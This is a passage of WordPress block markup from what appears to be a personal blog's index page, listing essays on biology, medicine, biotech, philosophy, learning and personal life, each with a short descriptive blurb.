Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-list-of-health-problems-that-should-be-solved-pet-first/\">A list of health problems that should be solved pet first</a> - Trying to recruit people to join animal health and solve these problems. Free alpha! </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-friend-claude/\">My friend, Claude</a> - In which I become more reliant on AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" 